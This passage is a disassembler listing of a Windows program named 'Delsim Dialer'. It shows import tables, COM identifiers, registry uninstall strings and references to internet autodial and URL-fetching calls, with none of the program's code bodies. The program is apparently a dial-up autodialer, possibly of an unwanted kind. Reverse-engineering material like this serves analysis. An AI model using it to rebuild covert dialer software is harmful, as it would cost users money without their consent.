; UINT_PTR __stdcall SetTimer(HWND hWnd,UINT_PTR nIDEvent,UINT uElapse,TIMERPROC lpTimerFunc)
		extrn SetTimer:dword	; CODE XREF: sub_4064E0+70p
					; sub_406720+354p ...
; BOOL __stdcall SetWindowTextA(HWND hWnd,LPCSTR lpString)
		extrn SetWindowTextA:dword ; CODE XREF:	sub_405C90+3CFp
					; DATA XREF: sub_405C90+3CFr
; int __stdcall	MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)
		extrn MessageBoxA:dword	; CODE XREF: sub_4051A0+16Ep
					; DATA XREF: sub_4051A0+16Er
; BOOL __stdcall PostThreadMessageA(DWORD idThread,UINT	Msg,WPARAM wParam,LPARAM lParam)
		extrn PostThreadMessageA:dword ; CODE XREF: sub_401000+55p
					; DATA XREF: sub_401000+55r
; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg)
		extrn DispatchMessageA:dword ; CODE XREF: sub_4010C0+441p
					; DATA XREF: sub_4010C0+423r
; BOOL __stdcall DestroyWindow(HWND hWnd)
		extrn DestroyWindow:dword ; CODE XREF: sub_405180+4p
					; sub_406D00+33p
					; DATA XREF: ...
; BOOL __stdcall IsDialogMessageA(HWND hDlg,LPMSG lpMsg)
		extrn IsDialogMessageA:dword ; CODE XREF: sub_4010C0+437p
					; DATA XREF: sub_4010C0+41Dr
; BOOL __stdcall GetMessageA(LPMSG lpMsg,HWND hWnd,UINT	wMsgFilterMin,UINT wMsgFilterMax)
		extrn GetMessageA:dword	; CODE XREF: sub_4010C0+417p
					; sub_4010C0+44Dp
					; DATA XREF: ...
; BOOL __stdcall ShowWindow(HWND hWnd,int nCmdShow)
		extrn ShowWindow:dword	; CODE XREF: sub_4010C0:loc_4014C4p
					; EnumFunc+3Fp	...
; HWND __stdcall GetDesktopWindow()
		extrn GetDesktopWindow:dword ; CODE XREF: sub_4010C0+3C8p
					; DATA XREF: sub_4010C0+3C8r
; LPSTR	__stdcall CharNextA(LPCSTR lpsz)
		extrn CharNextA:dword	; CODE XREF: sub_401A30+6Cp
					; sub_401A30+D9p ...
; HANDLE __stdcall LoadImageA(HINSTANCE	hInst,LPCSTR name,UINT type,int	cx,int cy,UINT fuLoad)
		extrn LoadImageA:dword	; CODE XREF: sub_405C90+79Dp
					; DATA XREF: sub_405C90+79Dr
; LRESULT __stdcall SendMessageA(HWND hWnd,UINT	Msg,WPARAM wParam,LPARAM lParam)
		extrn SendMessageA:dword ; CODE	XREF: sub_405C90+7AFp
					; DATA XREF: sub_405C90+7AFr
; BOOL __stdcall SetForegroundWindow(HWND hWnd)
		extrn SetForegroundWindow:dword	; CODE XREF: EnumFunc+46p
					; DATA XREF: EnumFunc+46r
; HWND __stdcall SetFocus(HWND hWnd)
		extrn SetFocus:dword	; CODE XREF: EnumFunc+4Dp
					; sub_405C90+78Cp
					; DATA XREF: ...
; WORD __stdcall GetClassWord(HWND hWnd,int nIndex)
		extrn GetClassWord:dword ; CODE	XREF: sub_405BD0+11p
					; EnumFunc+12p
					; DATA XREF: ...
; LONG __stdcall GetWindowLongA(HWND hWnd,int nIndex)
		extrn GetWindowLongA:dword ; CODE XREF:	sub_405BD0+22p
					; EnumFunc+21p
					; DATA XREF: ...
; LONG __stdcall SetWindowLongA(HWND hWnd,int nIndex,LONG dwNewLong)
		extrn SetWindowLongA:dword ; CODE XREF:	DialogFunc+8Dp
					; sub_404ED0+9Dp ...
; BOOL __stdcall EnumWindows(WNDENUMPROC lpEnumFunc,LPARAM lParam)
		extrn EnumWindows:dword	; CODE XREF: sub_405BD0+3Dp
					; DATA XREF: sub_405BD0+3Dr

;
; Imports from WININET.dll
;
		extrn InternetCloseHandle:dword	; CODE XREF: sub_406E60+93Fp
					; sub_406E60+949p ...
		extrn InternetReadFile:dword ; CODE XREF: sub_406E60+A1p
					; sub_407820+104p
					; DATA XREF: ...
		extrn InternetOpenUrlA:dword ; CODE XREF: sub_406E60+7Ap
					; sub_407820+DBp
					; DATA XREF: ...
		extrn InternetOpenA:dword ; CODE XREF: sub_406E60+5Bp
					; sub_407820+5Bp
					; DATA XREF: ...
		extrn InternetAutodial:dword ; CODE XREF: sub_406E60+35p
					; sub_407820+35p
					; DATA XREF: ...
		extrn InternetCheckConnectionA:dword ; CODE XREF: sub_406E60+20p
					; sub_406E60+44p ...

;
; Imports from ole32.dll
;
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid,LPUNKNOWN pUnkOuter,DWORD dwClsContext,const IID *const riid,LPVOID *ppv)
		extrn CoCreateInstance:dword ; CODE XREF: sub_404810+AAp
					; sub_404A70+7Dp ...
; HRESULT __stdcall CoRevokeClassObject(DWORD dwRegister)
		extrn CoRevokeClassObject:dword	; CODE XREF: sub_4046D0+2Cp
					; DATA XREF: sub_4046D0+1Er
; HRESULT __stdcall CoRegisterClassObject(const	IID *const rclsid,LPUNKNOWN pUnk,DWORD dwClsContext,DWORD flags,LPDWORD	lpdwRegister)
		extrn CoRegisterClassObject:dword ; CODE XREF: sub_404630+59p
					; DATA XREF: sub_404630+59r
; LPVOID __stdcall CoTaskMemRealloc(LPVOID pv,SIZE_T cb)
		extrn CoTaskMemRealloc:dword ; CODE XREF: sub_401D60+17p
					; sub_401DC0+63p
					; DATA XREF: ...
; LPVOID __stdcall CoTaskMemAlloc(SIZE_T cb)
		extrn CoTaskMemAlloc:dword ; CODE XREF:	sub_401620+44p
					; sub_401620+49p ...
; HRESULT __stdcall CoInitialize(LPVOID	pvReserved)
		extrn CoInitialize:dword ; CODE	XREF: sub_4010C0+18p
					; DATA XREF: sub_4010C0+18r
; void __stdcall CoUninitialize()
		extrn CoUninitialize:dword ; CODE XREF:	sub_4010C0+485p
					; DATA XREF: sub_4010C0+485r
; void __stdcall CoTaskMemFree(LPVOID pv)
		extrn CoTaskMemFree:dword ; CODE XREF: sub_4015D0+1Ep
					; sub_4015D0+23p ...


; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40D1F4h
		align 8
off_40D1F8	dd offset aS_0		; DATA XREF: sub_402FF0+ECr
					; "S"
off_40D1FC	dd offset aD		; DATA XREF: sub_402FF0+D0r
					; "D"
off_40D200	dd offset aB		; DATA XREF: sub_402FF0+D6r
					; "B"
; LPCSTR off_40D204
off_40D204	dd offset aVal		; DATA XREF: sub_402370:loc_4028D7r
					; "Val"
; LPCSTR off_40D208
off_40D208	dd offset aForceremove	; DATA XREF: sub_402370+111r
					; "ForceRemove"
; LPCSTR off_40D20C
off_40D20C	dd offset aNoremove	; DATA XREF: sub_402370:loc_4027F0r
					; "NoRemove"
; LPCSTR lpString2
lpString2	dd offset aDelete	; DATA XREF: sub_402370:loc_40246Er
					; "Delete"
		dd 0
		dd 21400h, 0
		dd 0C0h, 46000000h
; IID stru_40D228
stru_40D228	dd 21401h		; Data1	; DATA XREF: sub_40ACD0+17o
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
		dd 21490h, 0
		dd 0C0h, 46000000h, 21491h, 0
		dd 0C0h, 46000000h, 21492h, 0
		dd 0C0h, 46000000h, 21493h, 0
		dd 0C0h, 46000000h, 21494h, 0
		dd 0C0h, 46000000h, 214A0h, 0
		dd 0C0h, 46000000h, 214A1h, 0
		dd 0C0h, 46000000h, 214D0h, 0
		dd 0C0h, 46000000h, 214D1h, 0
		dd 0C0h, 46000000h, 214D2h, 0
		dd 0C0h, 46000000h, 214D3h, 0
		dd 0C0h, 46000000h, 214E1h, 0
		dd 0C0h, 46000000h, 214E2h, 0
		dd 0C0h, 46000000h, 214E3h, 0
		dd 0C0h, 46000000h, 214E4h, 0
		dd 0C0h, 46000000h, 214E5h, 0
		dd 0C0h, 46000000h, 214E6h, 0
		dd 0C0h, 46000000h, 214E8h, 0
		dd 0C0h, 46000000h, 214E9h, 0
		dd 0C0h, 46000000h, 214EAh, 0
		dd 0C0h, 46000000h, 214EBh, 0
		dd 0C0h, 46000000h, 214ECh, 0
		dd 0C0h, 46000000h, 214EDh, 0
		dd 0C0h, 46000000h
; IID stru_40D3A8
stru_40D3A8	dd 214EEh		; Data1	; DATA XREF: sub_40ACD0+Co
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
		dd 214EFh, 0
		dd 0C0h, 46000000h, 214F0h, 0
		dd 0C0h, 46000000h, 214F1h, 0
		dd 0C0h, 46000000h, 214F2h, 0
		dd 0C0h, 46000000h, 214F3h, 0
		dd 0C0h, 46000000h, 214F4h, 0
		dd 0C0h, 46000000h, 214F5h, 0
		dd 0C0h, 46000000h, 214F6h, 0
		dd 0C0h, 46000000h, 214F7h, 0
		dd 0C0h, 46000000h, 214F8h, 0
		dd 0C0h, 46000000h, 214F9h, 0
		dd 0C0h, 46000000h, 214FAh, 0
		dd 0C0h, 46000000h, 214FBh, 0
		dd 0C0h, 46000000h, 214FCh, 0
		dd 0C0h, 46000000h, 214FDh, 0
		dd 0C0h, 46000000h, 214FEh, 0
		dd 0C0h, 46000000h, 21500h, 0
		dd 0C0h, 46000000h, 8BCE1FA1h, 101B0921h, 0DD00FFB1h, 48CC0C01h
		dd 88E39E80h, 11CF3578h, 869AEh, 62122E2Bh, 0AC60F6A0h
		dd 11D00FD9h, 0C000CB99h, 9744D64Fh, 0ADD8BA80h, 11D0002Bh
		dd 0C0000F8Fh, 62D0D74Fh, 68284FAAh, 11D06A48h,	0C000788Ch
		dd 0B418D94Fh, 0F1DB8392h, 11D07331h, 0A000998Ch, 0E8BF2DC9h
		dd 12DD920h, 11D07B26h,	0A000A98Ch, 0E8BF2DC9h,	2A342FC2h
		dd 11D07B26h, 0A000A98Ch, 0E8BF2DC9h, 47D2657Ah, 11D07B27h
		dd 0A000A98Ch, 0E8BF2DC9h, 7D688A70h, 11D0C613h, 0C0009B99h
		dd 0E155D64Fh, 63B51F80h, 11D0C868h, 0C0009C99h, 0E155D64Fh
		dd 0C6C4200h, 11D0C589h, 0C0009A99h, 0E155D64Fh, 1AC3D9F0h
		dd 11D1175Ch, 6000BE95h, 4FEA9797h, 63B51F81h, 11D0C868h
		dd 0C0009C99h, 0E155D64Fh, 7D688A77h, 11D0C613h, 0C0009B99h
		dd 0E155D64Fh, 0BCFCE0A0h, 11D0EC17h, 0A000108Dh, 19270FC9h
		dd 0EB0FE172h, 11D01A3Ah, 0A000B389h, 0AC900AC9h, 49C3DE7Ch
		dd 11D0D329h, 0C00073ABh, 803EC34Fh, 0FBF23B40h, 101BE3F0h
		dd 0AA008884h, 0F8563E00h, 0FBF23B80h, 101BE3F0h, 0AA008884h
		dd 0F8563E00h, 0CABB0DA0h, 11CFDA57h, 20007499h, 6297D7AFh
		dd 3C374A40h, 11CFBAE4h, 0AA007DBFh, 0EE466900h, 0CFBFAE00h
		dd 11D017A6h, 0C000CB99h, 9744D64Fh, 4C96BE40h,	11CF915Ch
		dd 0AA00D399h, 37E84A00h, 75048700h, 11D0EF1Fh,	60008898h
		dd 0F9ACDE97h, 0F490EB00h, 11D11240h, 60008898h, 0F9ACDE97h
		dd 56FDF344h, 11D0FD6Dh, 60008A95h, 90A0C997h, 56FDF342h
		dd 11D0FD6Dh, 60008A95h, 90A0C997h
dword_40D688	dd 9B4AA441h		; DATA XREF: sub_4010C0+59o
					; sub_4010C0+62r
dword_40D68C	dd 11D59EBFh		; DATA XREF: sub_4010C0+68r
dword_40D690	dd 5000118Ch		; DATA XREF: sub_4010C0+6Dr
dword_40D694	dd 0F55749DAh		; DATA XREF: sub_4010C0+79r
off_40D698	dd offset sub_402180	; DATA XREF: sub_4010C0+3B1o
					; sub_404570+6o
		dd offset sub_4047F0
		dd offset nullsub_1
		align 8
off_40D6A8	dd offset aHkcr		; DATA XREF: sub_401F10+10o
					; "HKCR"
dword_40D6AC	dd 80000000h		; DATA XREF: sub_401F10:loc_401F42r
		dd offset aHkcu		; "HKCU"
		dd 80000001h, 40F168h, 80000002h, 40F164h, 80000003h, 40F15Ch
		dd 80000004h, 40F154h, 80000006h, 40F14Ch, 80000005h, 40F138h
		dd 80000000h, 40F124h, 80000001h, 40F110h, 80000002h, 40F104h
		dd 80000003h, 40F0ECh, 80000004h, 40F0DCh, 80000006h, 40F0C8h
		dd 80000005h
byte_40D718	db 1			; DATA XREF: sub_4010C0+3DAr
					; sub_401F10+23o ...
		db 1
byte_40D71A	db 1			; DATA XREF: sub_4010C0+357r
					; sub_4039C0:loc_404144r
		align 10h
dword_40D720	dd 0			; DATA XREF: sub_405140+7o
dword_40D724	dd 12Ch			; DATA XREF: sub_405140:loc_405167r
		dd 1, 12Dh, 2, 12Eh, 3,	12Fh, 4, 130h, 5, 131h,	6, 132h
		dd 7, 133h, 8, 134h, 9,	135h, 0Ah, 136h, 0Bh, 137h, 0Ch
		dd 138h, 0Dh, 139h, 0Eh, 13Ah, 0Fh, 13Bh, 10h, 13Ch, 11h
		dd 13Dh, 12h, 13Eh, 13h, 13Fh, 14h, 140h, 15h, 141h, 16h
		dd 142h, 17h, 143h, 1000h, 144h, 1001h,	145h, 1002h, 146h
		dd 1003h, 147h,	2000h, 149h, 2001h, 14Ah
off_40D810	dd offset aS_0		; DATA XREF: sub_405140+14o
					; "S"
		dd offset aD		; "D"
		dd offset aB		; "B"
		dd offset aVal		; "Val"
		dd offset aForceremove	; "ForceRemove"
		dd offset aNoremove	; "NoRemove"
		dd offset aDelete	; "Delete"
		align 10h
dword_40D830	dd 2 dup(0)		; DATA XREF: sub_404630+3Co
		dd 0C0h, 46000000h
; IID rclsid
rclsid		dd 2E005h		; Data1	; DATA XREF: sub_404810+A5o
					; sub_404A70+78o
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
; IID riid
riid		dd 2E012h		; Data1	; DATA XREF: sub_404810+9Co
					; sub_404A70+70o
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
dword_40D860	dd 10Bh, 0		; DATA XREF: sub_40ACD0+3Bo
		dd 0C0h, 46000000h
; char byte_40D870[]
byte_40D870	db 4 dup(0)		; DATA XREF: sub_40B7C4+57o
					; sub_40BA13+52o
; const	WCHAR SrcStr
SrcStr		dw 0			; DATA XREF: sub_40B7C4+36o
					; sub_40BA13+39o
		align 4
dword_40D878	dd 0FFFFFFFFh, 40B8D4h,	40B8D8h, 0FFFFFFFFh, 40B988h, 40B98Ch
					; DATA XREF: sub_40B7C4+5o
dword_40D890	dd 0FFFFFFFFh, 40BB0Ch,	40BB10h, 0D968h, 2 dup(0) ; DATA XREF: sub_40BA13+5o
		dd 0DE40h, 0D02Ch, 0DA70h, 2 dup(0)
		dd 0E04Ah, 0D134h, 0D93Ch, 2 dup(0)
		dd 0E102h, 0D000h, 0DA64h, 2 dup(0)
		dd 0E132h, 0D128h, 0DB0Ch, 2 dup(0)
		dd 0E1D8h, 0D1D0h, 0DA44h, 2 dup(0)
		dd 0E1E2h, 0D108h, 0DAF0h, 2 dup(0)
		dd 0E26Eh, 0D1B4h, 5 dup(0)
		dd 0E056h, 0E078h, 0E088h, 0E096h, 0E0A8h, 0E0B8h, 0E0CAh
		dd 0E0DEh, 0E0EEh, 0E068h, 0
		dd 0DBBEh, 0DBCAh, 0DBE0h, 0DBECh, 0DBFCh, 0DC0Ah, 0DC1Ch
		dd 0DC32h, 0DC40h, 0DC52h, 0DC62h, 0DC72h, 0DC82h, 0DC94h
		dd 0DCAAh, 0DCB6h, 0DCC8h, 0DCD6h, 0DCE2h, 0DCEEh, 0DD04h
		dd 0DD1Ah, 0DD36h, 0DD44h, 0DBA8h, 0DD6Eh, 0DD7Eh, 0DD8Ah
		dd 0DD96h, 0DDAEh, 0DDC6h, 0DDDEh, 0DDF2h, 0DE06h, 0DE18h
		dd 0DE26h, 0DE34h, 0E2EEh, 0E2DCh, 0E2CCh, 0E2BCh, 0E2A2h
		dd 0E28Eh, 0E27Ah, 0DB94h, 0DB88h, 0DB7Ch, 0DB74h, 0DB64h
		dd 0DB54h, 0E300h, 0DB3Eh, 0DB30h, 0DD5Ch, 0
		dd 800000A1h, 80000007h, 80000004h, 80000006h, 80000002h
		dd 80000115h, 800000A3h, 0
		dd 0E122h, 0E110h, 0
		dd 0E038h, 0DF7Ch, 0DF70h, 0DF5Ah, 0DF4Ch, 0E02Ch, 0DF1Ch
		dd 0DF0Eh, 0DEFEh, 0DFFEh, 0DED6h, 0DEC8h, 0E020h, 0E00Eh
		dd 0DF3Eh, 0DE4Eh, 0DE64h, 0DF2Eh, 0DE78h, 0DE8Ch, 0DE9Ah
		dd 0DEA8h, 0DEBCh, 0DFF0h, 0DFE0h, 0DFCAh, 0DFBEh, 0DFAEh
		dd 0DF9Ch, 0DEECh, 0DF8Eh, 0
		dd 0E1F0h, 0E206h, 0E21Ah, 0E22Eh, 0E23Eh, 0E252h, 0
		dd 0E1C4h, 0E1AEh, 0E196h, 0E182h, 0E170h, 0E150h, 0E13Eh
		dd 0E160h, 0
		dd 6C43001Bh, 4865736Fh, 6C646E61h, 2CE0065h
aWaitforsingleo	db 'WaitForSingleObject',0
aJ		db 'J',0
aCreatethread	db 'CreateThread',0
		align 4
a1		db '1',0
aCreateeventa	db 'CreateEventA',0
		align 4
		db  96h	; –
		db 2, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db    9
		db 3, 6Ch, 73h
aTrlenw		db 'trlenW',0
		align 4
		db    8
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db  4Eh	; N
		db 1, 47h, 65h
aTshortpathname	db 'tShortPathNameA',0
		db  24h	; $
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 2FFh
aLstrcmpia	db 'lstrcmpiA',0
		dw 0FAh
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 10h
		db  99h	; ™
		db 1, 48h, 65h
aApalloc	db 'apAlloc',0
		db  5Bh	; [
		db 1, 47h, 65h
aTsysteminfo	db 'tSystemInfo',0
		db  9Bh	; ›
		db 1, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		db 'Ê',0
aGetcommandline	db 'GetCommandLineA',0
		db 0E4h	; ä
		db 1, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		db '´',0
aFreelibrary	db 'FreeLibrary',0
		db  95h	; •
		db 2, 53h, 69h
aZeofresource	db 'zeofResource',0
		align 2
		dw 1C7h
aLoadresource	db 'LoadResource',0
		align 2
aG		db '£',0
aFindresourcea	db 'FindResourceA',0
		dw 11Ah
aGetlasterror	db 'GetLastError',0
		align 2
		dw 1C3h
aLoadlibraryexa	db 'LoadLibraryExA',0
		align 4
		db 0D2h	; Ò
		db 2, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 305h
aLstrcpyna	db 'lstrcpynA',0
		dw 1B9h
aIsdbcsleadbyte	db 'IsDBCSLeadByte',0
		align 4
aW		db 'W',0
aDeletefilea	db 'DeleteFileA',0
		db '(',0
aCopyfilea	db 'CopyFileA',0
		dw 2FCh
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 268h
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db  0Dh
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 1AAh
aInitializecrit	db 'InitializeCriticalSection',0
		dw 19Dh
aHeapdestroy	db 'HeapDestroy',0
aU_0		db 'U',0
aDeletecritical	db 'DeleteCriticalSection',0
		dd 6547013Eh, 6F725074h, 64644163h, 73736572h, 1C20000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 3020000h, 7274736Ch
		dd 41797063h, 2F90000h,	7274736Ch, 41746163h, 1C10000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aF		db 'f',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		db '«',0
aFlushinstructi	db 'FlushInstructionCache',0
		dw 0F7h
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 126h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 150h
aGetstartupinfo	db 'GetStartupInfoA',0
		db '}',0
aExitprocess	db 'ExitProcess',0
		dw 1A2h
aHeaprealloc	db 'HeapReAlloc',0
		dd 6548019Fh, 72467061h, 6565h,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 1E10000h
aPostthreadmess	db 'PostThreadMessageA',0
		align 4
		db '•',0
aDispatchmessag	db 'DispatchMessageA',0
		align 4
		dd 73490188h, 6C616944h, 654D676Fh, 67617373h, 4165h, 6547012Ah
		dd 73654D74h, 65676173h, 26A0041h, 776F6853h, 646E6957h
		dd 776Fh, 654700FFh, 73654474h,	706F746Bh, 646E6957h, 776Fh
		dd 68430025h, 654E7261h, 417478h, 6F4C01ABh, 74536461h
		dd 676E6972h, 4F0041h
aCreatedialogpa	db 'CreateDialogParamA',0
		align 4
		dd 65530258h, 6E695774h, 4C776F64h, 41676E6Fh, 1DE0000h
		dd 74736F50h, 7373654Dh, 41656761h, 1020000h, 44746547h
		dd 7449676Ch, 6D65h, 6F5001E0h,	75517473h, 654D7469h, 67617373h
		dd 8E0065h, 74736544h, 57796F72h, 6F646E69h, 1BE0077h
		dd 7373654Dh, 42656761h, 41786Fh, 767702AEh, 69727073h
		dd 4166746Eh, 20F0000h
aSenddlgitemmes	db 'SendDlgItemMessageA',0
		dd 737702ACh, 6E697270h, 416674h, 6553022Ch, 676C4474h
		dd 6D657449h, 74786554h, 0D00041h, 6D756E45h, 646E6957h
		dd 73776Fh, 65470156h, 6E695774h, 4C776F64h, 41676E6Fh
		dd 0EF0000h, 43746547h,	7373616Ch, 64726F57h, 22F0000h
		dd 46746553h, 7375636Fh, 2300000h
aSetforegroundw	db 'SetForegroundWindow',0
		dd 65530214h, 654D646Eh, 67617373h, 4165h, 6F4C01A0h, 6D496461h
		dd 41656761h, 0B70000h,	62616E45h, 6957656Ch, 776F646Eh
		dd 25E0000h, 57746553h,	6F646E69h, 78655477h, 4174h, 65530252h
		dd 6D695474h, 7265h, 694B0195h,	69546C6Ch, 72656Dh, 65470104h
		dd 676C4474h, 6D657449h, 74786554h, 53550041h, 32335245h
		dd 6C6C642Eh, 1640000h,	44676552h, 74656C65h, 6C615665h
		dd 416575h, 65520162h, 6C654467h, 4B657465h, 417965h, 65520167h
		dd 756E4567h, 79654B6Dh, 417845h, 6552015Bh, 6F6C4367h
		dd 654B6573h, 15F0079h,	43676552h, 74616572h, 79654B65h
		dd 417845h, 65520172h, 65704F67h, 79654B6Eh, 417845h, 65520186h
		dd 74655367h, 756C6156h, 41784565h, 1760000h, 51676552h
		dd 79726575h, 6F666E49h, 4179654Bh, 16A0000h, 45676552h
		dd 566D756Eh, 65756C61h, 17B0041h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 44410000h, 49504156h, 642E3233h
		dd 6C6Ch, 4853003Bh, 6E616843h,	6F4E6567h, 79666974h, 720000h
		dd 6C656853h, 6578456Ch, 65747563h, 48530041h, 334C4C45h
		dd 6C642E32h, 53006Ch, 6E556F43h, 74696E69h, 696C6169h
		dd 657Ah, 6F43002Dh, 74696E49h,	696C6169h, 657Ah, 6F43004Fh
		dd 6B736154h, 466D654Dh, 656572h, 6F43004Eh, 6B736154h
		dd 416D654Dh, 636F6C6Ch, 500000h, 61546F43h, 654D6B73h
		dd 6165526Dh, 636F6C6Ch, 3E0000h
aCoregisterclas	db 'CoRegisterClassObject',0
aG_0		db 'G',0
aCorevokeclasso	db 'CoRevokeClassObject',0
		db 0Dh,0
aCocreateinstan	db 'CoCreateInstance',0
		align 4
aOle32_dll	db 'ole32.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 10h
aV		db 'V',0
aInternetcloseh	db 'InternetCloseHandle',0
aW_0		db 'w',0
aInternetreadfi	db 'InternetReadFile',0
		align 2
aQ		db 'q',0
aInternetopenur	db 'InternetOpenUrlA',0
		align 2
aO		db 'o',0
aInternetopena	db 'InternetOpenA',0
aO_0		db 'O',0
aInternetautodi	db 'InternetAutodial',0
		align 2
aT		db 'T',0
aInternetcheckc	db 'InternetCheckConnectionA',0
		align 2
aWininet_dll	db 'WININET.dll',0
		dw 29Eh
aTerminateproce	db 'TerminateProcess',0
		align 2
		db '-',0
aCreatedirector	db 'CreateDirectoryA',0
		align 2
		dw 15Fh
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		dd 434C01BFh, 5370614Dh, 6E697274h, 4167h, 434C01C0h, 5370614Dh
		dd 6E697274h, 5767h, 65470153h,	72745374h, 54676E69h, 41657079h
		dd 1560000h, 53746547h,	6E697274h, 70795467h, 5765h, 7452022Fh
		dd 776E556Ch, 646E69h, 3Dh dup(0)
_rdata		ends

; Section 3. (virtual address 0000F000)
; Virtual size			: 00000C6C (   3180.)
; Section size in file		: 00000C00 (   3072.)
; Offset to raw	data for section: 0000CA00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 40F000h
		dd 3 dup(0)
		dd offset sub_40B50B
		dd 0
dword_40F014	dd 0			; DATA XREF: sub_40AFB0+65o
dword_40F018	dd 0			; DATA XREF: sub_40AFB0:loc_40B010o
dword_40F01C	dd 0			; DATA XREF: sub_40AFB0+76o
dword_40F020	dd 4 dup(0)		; DATA XREF: sub_40AFB0:loc_40B021o
off_40F030	dd offset aClsid	; DATA XREF: sub_402370:loc_4025AAo
					; sub_402370+958o
					; "CLSID"
		dd offset aTypelib	; "TYPELIB"
aTypelib	db 'TYPELIB',0          ; DATA XREF: sub_402370+254o
					; sub_402370+971o ...
aClsid		db 'CLSID',0            ; DATA XREF: .data:off_40F030o
		align 4
aDelete		db 'Delete',0           ; DATA XREF: .rdata:lpString2o
					; .rdata:0040D828o
		align 10h
aNoremove	db 'NoRemove',0         ; DATA XREF: .rdata:off_40D20Co
					; .rdata:0040D824o
		align 4
aForceremove	db 'ForceRemove',0      ; DATA XREF: .rdata:off_40D208o
					; .rdata:0040D820o
aVal		db 'Val',0              ; DATA XREF: .rdata:off_40D204o
					; .rdata:0040D81Co
aB:					; DATA XREF: .rdata:off_40D200o
					; .rdata:0040D818o
		unicode	0, <B>,0
aD:					; DATA XREF: .rdata:off_40D1FCo
					; .rdata:0040D814o
		unicode	0, <D>,0
aS_0:					; DATA XREF: .rdata:off_40D1F8o
					; .rdata:off_40D810o
		unicode	0, <S>,0
dword_40F078	dd 0B62F5910h, 11D16528h, 1196h, 0D0D1EF8h ; DATA XREF:	sub_4010C0+21o
; const	WCHAR Type
Type:					; DATA XREF: sub_4010C0+23Bo
					; sub_4010C0+316o
		unicode	0, <REGISTRY>,0
		align 4
; const	WCHAR aModule
aModule:				; DATA XREF: sub_4010C0+230o
					; sub_4010C0+30Bo
		unicode	0, <Module>,0
		align 4
; char aRegserver[]
aRegserver	db 'RegServer',0        ; DATA XREF: sub_4010C0+165o
		align 4
; char String2[]
String2		db 'UnregServer',0      ; DATA XREF: sub_4010C0:loc_401219o
word_40F0C4	dw 2F2Dh		; DATA XREF: sub_4010C0+11Er
byte_40F0C6	db 0			; DATA XREF: sub_4010C0+134r
		align 4
aHkey_current_c	db 'HKEY_CURRENT_CONFIG',0
aHkey_dyn_data	db 'HKEY_DYN_DATA',0
		align 4
aHkey_performan	db 'HKEY_PERFORMANCE_DATA',0
		align 4
aHkey_users	db 'HKEY_USERS',0
		align 10h
aHkey_local_mac	db 'HKEY_LOCAL_MACHINE',0
		align 4
aHkey_current_u	db 'HKEY_CURRENT_USER',0
		align 4
aHkey_classes_r	db 'HKEY_CLASSES_ROOT',0
		align 4
aHkcc		db 'HKCC',0
		align 4
aHkdd		db 'HKDD',0
		align 4
aHkpd		db 'HKPD',0
		align 4
aHku		db 'HKU',0
aHklm		db 'HKLM',0
		align 10h
aHkcu		db 'HKCU',0             ; DATA XREF: .rdata:0040D6B0o
		align 4
aHkcr		db 'HKCR',0             ; DATA XREF: .rdata:off_40D6A8o
		align 10h
; char SubKey[]
SubKey		db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\delsim',0
					; DATA XREF: sub_4036E0+229o
					; sub_4039C0+7C6o
		align 4
; char aUninstshortcut[]
aUninstshortcut	db 'uninstShortcut',0   ; DATA XREF: sub_4036E0+197o
					; sub_4036E0+1B6o ...
		align 4
; char ValueName[]
ValueName	db 'uninstExe',0        ; DATA XREF: sub_4036E0+137o
					; sub_4036E0+156o ...
		align 4
; char MultiByteStr[]
MultiByteStr:				; DATA XREF: sub_4036E0:loc_403781o
					; sub_4036E0:loc_40378Eo ...
		unicode	0, <\>,0
; char aUninstallstrin[]
aUninstallstrin	db 'UninstallString',0  ; DATA XREF: sub_4039C0+876o
; char aU[]
aU		db ' -u',0              ; DATA XREF: sub_4039C0+808o
					; sub_4039C0:loc_4041D5o ...
; char aDisplayname[]
aDisplayname	db 'DisplayName',0      ; DATA XREF: sub_4039C0+800o
; BYTE Data
Data		db 'Delsim Dialer',0    ; DATA XREF: sub_4039C0+7E1o
					; sub_4039C0+7F8o
		align 4
aInternetDialer	db 'Internet Dialer',0  ; DATA XREF: sub_4039C0+715o
; char a_lnk[]
a_lnk		db '.lnk',0             ; DATA XREF: sub_4039C0+6CFo
					; sub_4039C0:loc_40409Co ...
		align 4
; char a_exe[]
a_exe		db '.exe',0             ; DATA XREF: sub_4039C0+4F2o
					; sub_4039C0:loc_403EBFo ...
		align 4
; char a_[]
a_:					; DATA XREF: sub_4039C0+3DBo
					; sub_4039C0:loc_403DA8o ...
		unicode	0, <.>,0
; char aC[]
aC		db 'c:\',0              ; DATA XREF: sub_4039C0:loc_403C9Do
